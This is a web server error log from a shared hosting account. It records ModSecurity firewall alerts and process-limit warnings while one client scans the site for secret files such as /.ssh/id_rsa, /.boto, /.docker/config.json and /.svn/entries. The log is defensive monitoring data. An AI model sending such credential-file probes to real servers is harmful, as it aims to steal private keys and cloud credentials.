[Fri Jul 17 07:54:27.050561 2026] [hostinglimits:warn] [pid 1994966:tid 1994966] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994966) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:27.361210 2026] [hostinglimits:warn] [pid 1993675:tid 1993675] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993675) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:27.365152 2026] [hostinglimits:warn] [pid 1994446:tid 1994446] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994446) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:27.423654 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:27.544342 2026] [hostinglimits:warn] [pid 1993675:tid 1993675] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993675) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:27.610101 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:27.615118 2026] [security2:error] [pid 1993584:tid 1993584] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.docker/config.json"] [unique_id "almSW1xP5-SsqbGuGB2eBQAAAAA"]
[Fri Jul 17 07:54:27.615486 2026] [security2:error] [pid 1993584:tid 1993584] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.docker/config.json"] [unique_id "almSW1xP5-SsqbGuGB2eBQAAAAA"]
[Fri Jul 17 07:54:27.615853 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:27.616060 2026] [security2:error] [pid 1993584:tid 1993584] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSW1xP5-SsqbGuGB2eBQAAAAA"]
[Fri Jul 17 07:54:27.650726 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWY1dLClkUfK_dfHaYgAAAAI"]
[Fri Jul 17 07:54:27.864002 2026] [security2:error] [pid 1993675:tid 1993675] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.svn/entries"] [unique_id "almSWziSeFVxYLkcq6IWuQAAAAc"]
[Fri Jul 17 07:54:27.864256 2026] [security2:error] [pid 1993675:tid 1993675] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.svn/entries"] [unique_id "almSWziSeFVxYLkcq6IWuQAAAAc"]
[Fri Jul 17 07:54:27.864420 2026] [hostinglimits:warn] [pid 1993675:tid 1993675] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993675) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:27.864569 2026] [security2:error] [pid 1993675:tid 1993675] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWziSeFVxYLkcq6IWuQAAAAc"]
[Fri Jul 17 07:54:27.866017 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".boto" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .boto found within REQUEST_FILENAME: /.boto"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.boto"] [unique_id "almSW90t9Kb_MdNxrg64UwAAAAM"]
[Fri Jul 17 07:54:27.866270 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.boto"] [unique_id "almSW90t9Kb_MdNxrg64UwAAAAM"]
[Fri Jul 17 07:54:27.866418 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:27.866565 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSW90t9Kb_MdNxrg64UwAAAAM"]
[Fri Jul 17 07:54:27.981940 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWUhq6UAnqYko0LpQMAAAABE"]
[Fri Jul 17 07:54:28.071951 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.073172 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.221466 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".ssh/id_rsa" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.ssh/id_rsa"] [unique_id "almSXEhq6UAnqYko0LpQMQAAABE"]
[Fri Jul 17 07:54:28.221763 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.ssh/id_rsa"] [unique_id "almSXEhq6UAnqYko0LpQMQAAABE"]
[Fri Jul 17 07:54:28.221975 2026] [hostinglimits:warn] [pid 1994967:tid 1994967] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994967) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.222119 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXEhq6UAnqYko0LpQMQAAABE"]
[Fri Jul 17 07:54:28.280510 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.339737 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.339958 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.219.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ajsstarlog-global": Permission denied [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXI1dLClkUfK_dfHaZAAAAAI"]
[Fri Jul 17 07:54:28.339992 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.219.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ajsstarlog-ip": Permission denied [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXI1dLClkUfK_dfHaZAAAAAI"]
[Fri Jul 17 07:54:28.369140 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWXRlmrtCoY_COpcbjAAAAAg"]
[Fri Jul 17 07:54:28.399643 2026] [security2:error] [pid 1993659:tid 1993659] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".ssh/id_dsa" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/id_dsa found within REQUEST_FILENAME: /.ssh/id_dsa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.ssh/id_dsa"] [unique_id "almSXJOFLENLI63GGOED4AAAAAQ"]
[Fri Jul 17 07:54:28.400008 2026] [security2:error] [pid 1993659:tid 1993659] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.ssh/id_dsa"] [unique_id "almSXJOFLENLI63GGOED4AAAAAQ"]
[Fri Jul 17 07:54:28.546219 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".ssh/authorized_keys" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/authorized_keys found within REQUEST_FILENAME: /.ssh/authorized_keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.ssh/authorized_keys"] [unique_id "almSXEhq6UAnqYko0LpQMgAAABE"]
[Fri Jul 17 07:54:28.546503 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.ssh/authorized_keys"] [unique_id "almSXEhq6UAnqYko0LpQMgAAABE"]
[Fri Jul 17 07:54:28.546741 2026] [hostinglimits:warn] [pid 1994967:tid 1994967] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994967) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.546905 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXEhq6UAnqYko0LpQMgAAABE"]
[Fri Jul 17 07:54:28.546977 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".ssh/config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/config found within REQUEST_FILENAME: /.ssh/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.ssh/config"] [unique_id "almSXN0t9Kb_MdNxrg64VQAAAAM"]
[Fri Jul 17 07:54:28.547311 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.ssh/config"] [unique_id "almSXN0t9Kb_MdNxrg64VQAAAAM"]
[Fri Jul 17 07:54:28.547582 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.547767 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXN0t9Kb_MdNxrg64VQAAAAM"]
[Fri Jul 17 07:54:28.600946 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase ".ssh/known_hosts" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/known_hosts found within REQUEST_FILENAME: /.ssh/known_hosts"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.ssh/known_hosts"] [unique_id "almSXI1dLClkUfK_dfHaZQAAAAI"]
[Fri Jul 17 07:54:28.601280 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.ssh/known_hosts"] [unique_id "almSXI1dLClkUfK_dfHaZQAAAAI"]
[Fri Jul 17 07:54:28.601618 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.601792 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXI1dLClkUfK_dfHaZQAAAAI"]
[Fri Jul 17 07:54:28.694926 2026] [hostinglimits:warn] [pid 1994967:tid 1994967] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994967) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
